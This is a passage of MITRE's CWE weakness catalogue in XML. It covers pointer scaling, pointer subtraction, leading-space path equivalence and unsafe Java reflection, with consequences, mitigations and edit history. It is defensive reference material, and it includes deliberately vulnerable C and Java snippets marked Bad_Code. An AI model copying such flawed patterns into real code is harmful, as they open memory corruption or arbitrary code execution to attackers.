                    <Weakness ID="468" Name="Incorrect Pointer Scaling" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>In C and C++, one may often accidentally refer to the wrong
					memory due to the semantics of when math operations are implicitly
					scaled.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Programmers will often try to index from a pointer by adding a number of
						bytes, even though this is wrong, since C and C++ implicitly scale the
						operand by the size of the data type.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Incorrect pointer scaling will often result in buffer overflow
							conditions. Confidentiality can be compromised if the weakness is in the
							context of a buffer over-read or under-read.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a platform with high-level memory abstractions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always use array indexing instead of direct pointer
							manipulation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use technologies for preventing buffer overflows.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-55">
					          <Intro_Text>This example attempts to calculate the position of the second byte
						of a pointer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int *p = x;</Code>
							              <Code>char * second_char = (char *)(p + 1);</Code>
						            </Block>
						            <Text>In this example, second_char is intended to point to the second byte
							of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result
							that is incorrect (3 bytes off on 32-bit platforms). If the resulting
							memory address is read, this could potentially be an information leak.
							If it is a write, it could be a security-critical write to unauthorized
							memory-- whether or not it is a buffer overflow. Note that the above
							code may also be wrong in other ways, particularly in a little endian
							environment.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Pointer Arithmetic", Page
						277.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Unintentional pointer scaling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure pointer arithmetic is used correctly</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP08-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has a statement that performs a pointer
						arithmetic operation on a pointer to datatype1 and casts the result of the
						operation to a pointer type to datatype2 where datatype2 has different
						length than the datatype1 and the datatype1 has different length than a
						character type.</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unintentional Pointer
						Scaling</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="469" Name="Use of Pointer Subtraction to Determine Size" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application subtracts one pointer from another in order to
					determine size, but this calculation can be incorrect if the pointers do not
					exist in the same memory chunk.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>These types of bugs generally are the result of a typo. Although most of
						them can easily be found when testing of the program, it is important that
						one correct these problems, since they almost certainly will break the
						code.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>There is the potential for arbitrary code execution with privileges of
							the vulnerable program.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-52">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Save an index variable. This is the recommended solution. Rather than
							subtract pointers from one another, use an index variable of the same
							size as the pointers in question. Use this variable to "walk" from one
							pointer to the other and calculate the difference. Always sanity check
							this number.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example contains the method size that is used to
						determine the number of nodes in a linked list. The method is passed a
						pointer to the head of the linked list.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>struct node {</Code>
							              <Block>
								                <Code>int data;</Code>
								                <Code>struct node* next;</Code>
							              </Block>
							              <Code>};</Code>
							              <Code/>
							              <Comment>// Returns the number of nodes in a linked list from</Comment>
							              <Comment>// the given pointer to the head of the list.</Comment>
							              <Code>int size(struct node* head) {</Code>
							              <Block>
								                <Code>struct node* current = head;</Code>
								                <Code>struct node* tail;</Code>
								                <Code>while (current != NULL) {</Code>
								                <Block>
									                  <Code>tail = current;</Code>
									                  <Code>current = current-&gt;next;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return tail - head;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Comment>// other methods for manipulating the list</Comment>
							              <Code>...</Code>
							              <Code/>
						            </Block>
						            <Text>However, the method creates a pointer that points to the end of the
							list and uses pointer subtraction to determine the number of nodes in
							the list by subtracting the tail pointer from the head pointer. There no
							guarantee that the pointers exist in the same memory area, therefore
							using pointer subtraction in this way could return incorrect results and
							allow other unintended behavior. In this example a counter should be
							used to determine the number of nodes in the list, as shown in the
							following code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code/>
							              <Code>...</Code>
							              <Code/>
							              <Code>int size(struct node* head) {</Code>
							              <Block>
								                <Code>struct node* current = head;</Code>
								                <Code>int count = 0;</Code>
								                <Code>while (current != NULL) {</Code>
								                <Block>
									                  <Code>count++;</Code>
									                  <Code>current = current-&gt;next;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return count;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Improper pointer subtraction</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not subtract or compare two pointers that do not refer to
						the same array</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR36-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not add or subtract an integer to a pointer to a non-array
						object</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not subtract or compare two pointers or iterators that do
						not refer to the same array or container</Mapped_Node_Name>
					          <Mapped_Node_ID>ARR36-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not add or subtract an integer to a pointer to a non-array
						object </Mapped_Node_Name>
					          <Mapped_Node_ID>ARR37-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. end statement that subtracts pointer1 from pointer2</Text>
						            <Text>2. start statement that associates pointer1 with a memory chunk1 and
							pointer2 to a memory chunk2</Text>
						            <Text>3. memory chunk1 is not equal to the memory chunk2</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Improper Pointer
						Subtraction</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="47" Name="Path Equivalence: ' filename' (Leading Space)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					leading space (' filedir') without appropriate validation can lead to ambiguous
					path resolution and allow an attacker to traverse the file system to unintended
					locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Leading Space - ' filedir'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Leading Space -
						' filedir'</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Path Equivalence: ' filename
						(Leading Space)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="470" Name="Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application uses external input with reflection to select
					which classes or code to use, but it does not sufficiently prevent the input
					from selecting improper classes or code.</Description_Summary>
				        <Extended_Description>
					          <Text>If the application uses external inputs to determine which class to
						instantiate or which method to invoke, then an attacker could supply values
						to select unexpected classes or methods. If this occurs, then the attacker
						could create control flow paths that were not intended by the developer.
						These paths could bypass authentication or access control checks, or
						otherwise cause the application to behave in an unexpected manner. This
						situation becomes a doomsday scenario if the attacker can upload files into
						a location that appears on the application's classpath (CWE-427) or add new
						entries to the application's classpath (CWE-426). Under either of these
						conditions, the attacker can use reflection to introduce new, malicious
						behavior into the application.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
					          <Language Language_Name="PHP"/>
					          <Language_Class Prevalence="Sometimes" Language_Class_Description="Interpreted languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Reflection Injection</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker might be able to execute code that is not directly
							accessible to the attacker. Alternately, the attacker could call
							unexpected code in the wrong place or the wrong time, possibly modifying
							critical system state.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker might be able to use reflection to call the wrong code,
							possibly with unexpected arguments that violate the API (CWE-227). This
							could cause the application to exit or hang.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>By causing the wrong code to be invoked, the attacker might be able to
							trigger a runtime error that leaks sensitive information in the error
							message, such as CWE-536.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Refactor your code to avoid using reflection.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use user-controlled inputs to select and load classes or
							code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Apply strict input validation by using whitelists or indirect
							selection to ensure that the user is only selecting allowable classes or
							code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>A common reason that programmers use the reflection API is to
						implement their own command dispatcher. The following example shows a
						command dispatcher that does not use reflection:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ctl = request.getParameter("ctl");</Code>
							              <Code>Worker ao = null;</Code>
							              <Code>if (ctl.equals("Add")) {</Code>
							              <Block>
								                <Code>ao = new AddCommand();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else if (ctl.equals("Modify")) {</Code>
							              <Block>
								                <Code>ao = new ModifyCommand();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>throw new UnknownActionError();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>ao.doAction(request);</Code>
						            </Block>
						            <Text>A programmer might refactor this code to use reflection as
							follows:</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String ctl = request.getParameter("ctl");</Code>
							              <Code>Class cmdClass = Class.forName(ctl + "Command");</Code>
							              <Code>Worker ao = (Worker) cmdClass.newInstance();</Code>
							              <Code>ao.doAction(request);</Code>
						            </Block>
						            <Text>The refactoring initially appears to offer a number of advantages.
							There are fewer lines of code, the if/else blocks have been entirely
							eliminated, and it is now possible to add new command types without
							modifying the command dispatcher. However, the refactoring allows an
